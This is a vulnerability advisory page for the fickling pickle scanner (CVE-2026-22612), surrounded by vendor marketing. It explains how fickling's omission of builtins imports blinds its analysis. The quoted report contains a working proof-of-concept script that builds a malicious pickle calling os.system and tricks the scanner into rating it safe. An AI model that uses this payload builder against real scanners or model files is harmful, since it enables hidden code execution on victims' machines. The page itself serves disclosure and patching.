Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-h4rm-mm56-xf63

Fickling vulnerable to detection bypass due to "builtins" blindness

Also known asCVE-2026-22612
Published
Jan 9, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk18th percentile+0.17%
0.00%0.25%0.51%0.76%0.1%0.3%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍fickling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).

Original report

Summary

Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

    def run(self, interpreter: Interpreter):
        module, attr = self.module, self.attr
        if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))

    def encode(self) -> bytes:
        return f"c{self.module}\n{self.attr}\n".encode()

Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import

fickling/fickling/analysis.py

UNSAFE_MODULES = {
        "__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
        "__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
        "builtins": "This module contains dangerous functions that can execute arbitrary code.",

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

import os

GLOBAL = b'c'    # Import module.name
STRING = b'S'    # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R'    # Call function
PUT    = b'p'    # Memoize (Variable assignment)
GET    = b'g'    # Load from memo (Variable usage)
POP    = b'0'    # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's'   # Add key/value to dict
BUILD  = b'b'    # Update object state (Liveness satisfy)
STOP   = b'.'    # Finish and return stack top

def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload

if __name__ == "__main__":
    data = generate_raw_payload()
    with open("raw_bypass.pkl", "wb") as f:
        f.write(data)
    
    print("Generated 'raw_bypass.pkl'")

This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED" We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state. By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.

The end result is that the malicious pickle gets classified as LIKELY_SAFE

Fixes: Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like __import__ while not emitting for stuff like dict()

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIficklingall versions0.1.7

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h4rm-mm56-xf63 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-h4rm-mm56-xf63 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-h4rm-mm56-xf63. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

#Fickling's assessment Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf). # Original report ### Summary Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis fickling/fickling/fickle.py ```python def run(self, interpreter: Interpreter): module, attr = self.module, self.attr if module in ("__builtin__", "__builtins__", "b
O3 Security · Impact-Aware SCA

Is GHSA-h4rm-mm56-xf63 in your dependencies?

O3 detects GHSA-h4rm-mm56-xf63 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.